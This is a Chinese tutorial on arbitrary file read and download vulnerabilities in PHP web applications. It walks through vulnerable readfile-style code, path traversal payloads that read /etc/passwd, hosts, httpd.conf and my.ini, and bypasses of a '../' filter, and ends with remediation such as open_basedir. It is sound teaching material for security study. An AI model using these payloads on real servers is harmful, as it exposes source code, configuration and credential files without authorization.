当前位置: 首页 > news >正文

渗透测试漏洞原理之---【任意文件读取漏洞】

文章目录

      • 1、概述
        • 1.1、漏洞成因
        • 1.2、漏洞危害
        • 1.3、漏洞分类
        • 1.4、任意文件读取
          • 1.4.1、文件读取函数
          • 1.4.2、任意文件读取
        • 1.5、任意文件下载
          • 1.5.1、一般情况
          • 1.5.2、PHP实现
          • 1.5.3、任意文件下载
      • 2、任意文件读取攻防
        • 2.1、路径过滤
          • 2.1.1、过滤../
        • 2.2、简单绕过
          • 2.2.1、双写绕过
          • 2.2.2、绝对路径
          • 2.2.3、使用..\
      • 3、任意文件读取挖掘
        • 3.1、手工挖掘
        • 3.2、案例
      • 4、漏洞修复方案
        • 4.1、输入验证
        • 4.2、避免其他漏洞
        • 4.3、限定文件的访问范围

1、概述

一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。

  • 任意文件读取会造成(敏感)信息泄露;
  • 任意文件读取大多数情况是由于其他漏洞引发的,如RCE、目录遍历、文件包含等。
  • 任意文件读取与任意文件下载本质上没有区别,信息都是从服务端流向浏览器的。

任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限

1.1、漏洞成因

不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:

  • 存在读取文件的功能(函数),也就是说,Web 应用开放了文件读取功能;
  • 读取文件的路径客户端可控,完全控制或影响文件路径参数;
  • 没有对文件路径进行校验或者校验不严导致校验被绕过;
  • 输出了文件的内容;

1.2、漏洞危害

下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。

可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。

任意文件读取与下载重点关注的文件:

  • 源代码
  • 配置文件
  • 敏感文件
  • 日志文件
  • 。。。。

1.3、漏洞分类

  • 任意文件读取
  • 任意文件下载

1.4、任意文件读取

以PHP 脚本为例子,有一些函数可以实现文件读取功能。

1.4.1、文件读取函数
相关函数特点
readfile()直接读取文件内容,
自带输出功能
file_get_contents()直接读取文件内容,
需要输出读取内容
fread()打开文件,
计算文件大小,
读取文件,
输出文件,
关闭文件

readfile():

// readfile.php$fp = "../phpinfo.php";
readfile($fp);

file_get_contents():

// file_get_contents.php$fp = "../phpinfo.php";
echo file_get_contents($fp);

fread():

// fread.php$fp = "../phpinfo.php";
$f = fopen($fp,'r');
$f_size = filesize($fp);
echo fread($f, $f_size);
fclose($f);
1.4.2、任意文件读取

变量$fp,会捕获GET 方式传递过来的filepath 参数。

$fp = @$_GET['filepath'];

filepath 客户端可控,并且没有经过校验,会造成任意文件读取漏洞

?filepath=index.php
?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts
?filepath=c:\phpstudy_2016\apache\conf\httpd.conf
?filepath=c:\phpstudy_2016\mysql\my.ini
?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts
?filePath=../../../../../../etc/hosts

通过文件读取方式读取到 的文件内容不会直接显示在页面上(不会 解析php代码呈现在页面上),而是以源码的方式显示在页面源代码中,可以右键查看页面源代码

1.5、任意文件下载

1.5.1、一般情况

直接下载:例如图片另存为

a 标签下载:

<a href = './a.jpg'>点击下载图片</a>
1.5.2、PHP实现

PHP 文件下载实现过程:

  • 先读取文件
  • 在输出文件
  • 提供下载
// file-download.php$fp = './a.jpg';
header('Content-Type:image/jpg');
header('Content-Disposition:attachment;fileName='.basename($fp));
readfile($fp);
1.5.3、任意文件下载

任意文件下载的条件:

  • 已知目标文件路径
  • 目标文件路径,客户端可控
  • 没有经过校验或校验不严格
$fp = $_GET['filepath'];

2、任意文件读取攻防

2.1、路径过滤

2.1.1、过滤…/
$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp);
readfile($fp);

2.2、简单绕过

2.2.1、双写绕过
?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts
2.2.2、绝对路径
?filepath=c:/windows\system32\drivers\etc\hosts
2.2.3、使用…\
?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts

3、任意文件读取挖掘

3.1、手工挖掘

从文件名上看从参数上看
readfile.php
filedownload.php
filelist.php
f=
file=
filepath=
fp=
readfile=
path=
readpath=
url=
menu=
META-INF=
WEB-INF=
content=

3.2、案例

metinfo_6.0.0_readfile

4、漏洞修复方案

4.1、输入验证

  • 让web 用户只能访问(读取),所需要的文件和路径。

4.2、避免其他漏洞

  • 不能有文件包含漏洞,目录遍历漏洞或其他漏洞

4.3、限定文件的访问范围

  • 让用户不能访问Web 根目录以外的路径。
  • php.ini 配置文件中,可以通过选项open_basedir 来限定文件访问的范围
open_basedir = c:\www\
http://www.lryc.cn/news/153869.html

相关文章:

  • 合宙Air724UG LuatOS-Air LVGL API控件-图片 (Image)
  • 仿京东 项目笔记2(注册登录)
  • Spark与Flink的区别
  • 未来智造:珠三角引领人工智能产业集群
  • 【Unity db】sqlite
  • Linux 指令心法(四)`touch` 创建一个新的空文件
  • 分类算法系列②:KNN算法
  • 12. 微积分 - 梯度积分
  • Large Language Models and Knowledge Graphs: Opportunities and Challenges
  • Python操作Excel教程(图文教程,超详细)Python xlwings模块详解,
  • Java入门
  • 深度解析BERT:从理论到Pytorch实战
  • 小程序数据导出文件
  • hadoop1.2.1伪分布式搭建
  • 【校招VIP】前端JavaScript语言之跨域
  • mysql调优小计
  • AI:04-基于机器学习的蘑菇分类
  • 算法——排序
  • leetCode动态规划“不同路径II”
  • 100天精通Python(可视化篇)——第99天:Pyecharts绘制多种炫酷K线图参数说明+代码实战
  • 哈希表与有序表
  • 什么时候使用RPA?如何使用RPA?需要什么样的硬件支持?需要安装哪些软件?
  • R语言入门——line和lines的区别
  • C语言:static关键字的使用
  • AUTOSAR知识点 之 ECUM (三):ECUM的ISOLAR-AB配置及代码解析
  • 2023年MySQL-8.0.34保姆级安装教程
  • ElasticSearch入门
  • RocketMQ的Broker
  • 使用Puppeteer进行游戏数据可视化
  • 【Flask】from flask_sqlalchemy import SQLAlchemy报错